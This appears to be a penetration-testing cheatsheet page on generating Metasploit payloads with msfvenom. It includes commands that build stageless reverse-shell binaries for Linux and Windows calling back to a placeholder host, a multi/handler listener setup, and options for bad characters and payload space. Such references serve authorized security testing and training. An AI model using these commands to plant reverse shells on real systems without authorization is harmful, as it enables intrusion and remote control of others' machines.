Generate a payload matching OS, process, format and handler

Needs: Verified target/process architecture, delivery format, callback route, payload constraints and a matching staged/stageless listener

List rather than guess names and formats

# List rather than guess names and formats
msfvenom -l payloads | grep -E 'linux|windows' | grep -E 'x64|x86'
msfvenom --list formats
msfvenom -p PAYLOAD_NAME --list-options

# Stageless command-shell binaries
msfvenom -p linux/x64/shell_reverse_tcp \
  LHOST=LHOST LPORT=LPORT \
  -f elf -o shell.elf

msfvenom -p windows/x64/shell_reverse_tcp \
  LHOST=LHOST LPORT=LPORT \
  -f exe -o shell.exe

# Verify the resulting artifacts
file shell.elf shell.exe
sha256sum shell.elf shell.exe

Staged versus stageless

# Staged versus stageless
stageless: complete payload delivered at once; larger, usually simpler and more stable
staged: small first stage connects and retrieves the rest; smaller initial footprint, needs matching handler and second transfer

# Metasploit naming commonly reflects the distinction
windows/x64/shell_reverse_tcp   stageless
windows/x64/shell/reverse_tcp   staged

# A staged payload normally needs multi/handler configured with the exact same payload
msfconsole -q
use exploit/multi/handler
set payload PAYLOAD_NAME
set LHOST LHOST
set LPORT LPORT
show options
run

Only when an existing reviewed PoC documents payload space and bad characters

# Only when an existing reviewed PoC documents payload space and bad characters
msfvenom -p PAYLOAD_NAME \
  LHOST=LHOST LPORT=LPORT \
  -f FORMAT -v VARIABLE \
  -b 'BAD_CHARACTERS' \
  -s MAX_SPACE

Verify → Check artifact format/hash and actual session identity; generation success is not execution proof.

If it fails → Wrong architecture, stage/handler mismatch, missing second route or payload-space constraints require separate fixes. Encoding does not guarantee endpoint-control bypass. More detail ↓

If → then

A downloaded/generated artifact exists but does not run → Match an artifact to its executable consumer and runtime
Needs: Matching OS/process architecture, interpreter/loader/runtime, intact bytes, execute/destination permissions and compatible format
A payload connects without a session, or a handler/session exits unexpectedly → Pair staged payloads with the correct handler and session lifecycle
Needs: Exact payload/architecture/transport pairing, correct listener binding, reachable staging path and suitable job/session configuration
A PoC, injected command or remote client reports execution → Verify command execution, host and represented identity
Needs: A functioning execution primitive and an observable output or controlled side effect

No useful finding → another task in this topic. Failed check → resolve the failure before ruling out the path.

Explanation & examples

Generate a payload matching OS, process, format and handler

USE WHEN: An existing exploit/delivery primitive needs a binary or raw payload
STARTING ACCESS: Verified command execution or authenticated remote access and a known network path
RESULT: A compatible artifact and a correctly paired listener configuration

Recognize the clue

Inspect the actual consumer/process and existing exploit constraints before browsing payload names or formats.

file TARGET_ARTIFACT
msfvenom -l payloads
msfvenom --list formats

SYNTHETIC EXAMPLE OUTPUT

Consumer: Windows x64 executable
Candidate payload: windows/x64/shell/reverse_tcp
Delivery expects: PE executable

Means: The staged payload name and executable consumer must be matched to the handler and delivery format.

Confirm: Check target/process architecture, permitted feature, exact payload options, stage route and listener.

After validation: Format/architecture/handler and routes all match: generate the selected artifact.
Ruled out in this context: An ELF or DLL is supplied to an EXE-only consumer: reject that format.
Still inconclusive: OS architecture without process/delivery evidence does not settle payload compatibility.

Troubleshooting: Wrong architecture, stage/handler mismatch, missing second route or payload-space constraints require separate fixes. Encoding does not guarantee endpoint-control bypass.

Additional prerequisite checks

msfvenom -l payloads
msfvenom --list formats
msfvenom -p PAYLOAD_NAME --list-options

List rather than guess names and formats:

Stageless command-shell binaries:

Verify the resulting artifacts:

msfvenom does not make a payload compatible with the delivery path. Match target OS, process architecture, payload type, output format, available execution method and callback route.

Staged versus stageless

Metasploit naming commonly reflects the distinction:

A raw Netcat listener can receive many ordinary stageless command shells. A staged payload normally needs multi/handler configured with the exact same payload:

A connection to Netcat with no usable commands can mean a staged payload reached a non-staging listener. It is not necessarily failed code execution.

Existing-PoC payload constraints

Only when an existing reviewed PoC documents payload space and bad characters:

Encoders and repeated encoding do not guarantee antimalware evasion. -b is for bytes that the vulnerable input path cannot preserve; do not invent a universal bad-character list.

Why it works

An ELF, PE, script and raw shellcode serve different consumers. A staged payload requires another transfer and a matching handler; Netcat may receive a stage request without producing a shell.

Worked example · hypothetical

Observation: a payload connects to Netcat but produces unreadable/no commands. Test: inspect the exact staged payload name and pair its handler. Illustrative output: staging completes and the intended session appears. Interpretation: verify the identity and record the permitted framework context.

New identity, privilege, host or route? Re-enumerate → All topic tasks →

Study guide ↗Full procedure ↗Cheatsheet ↗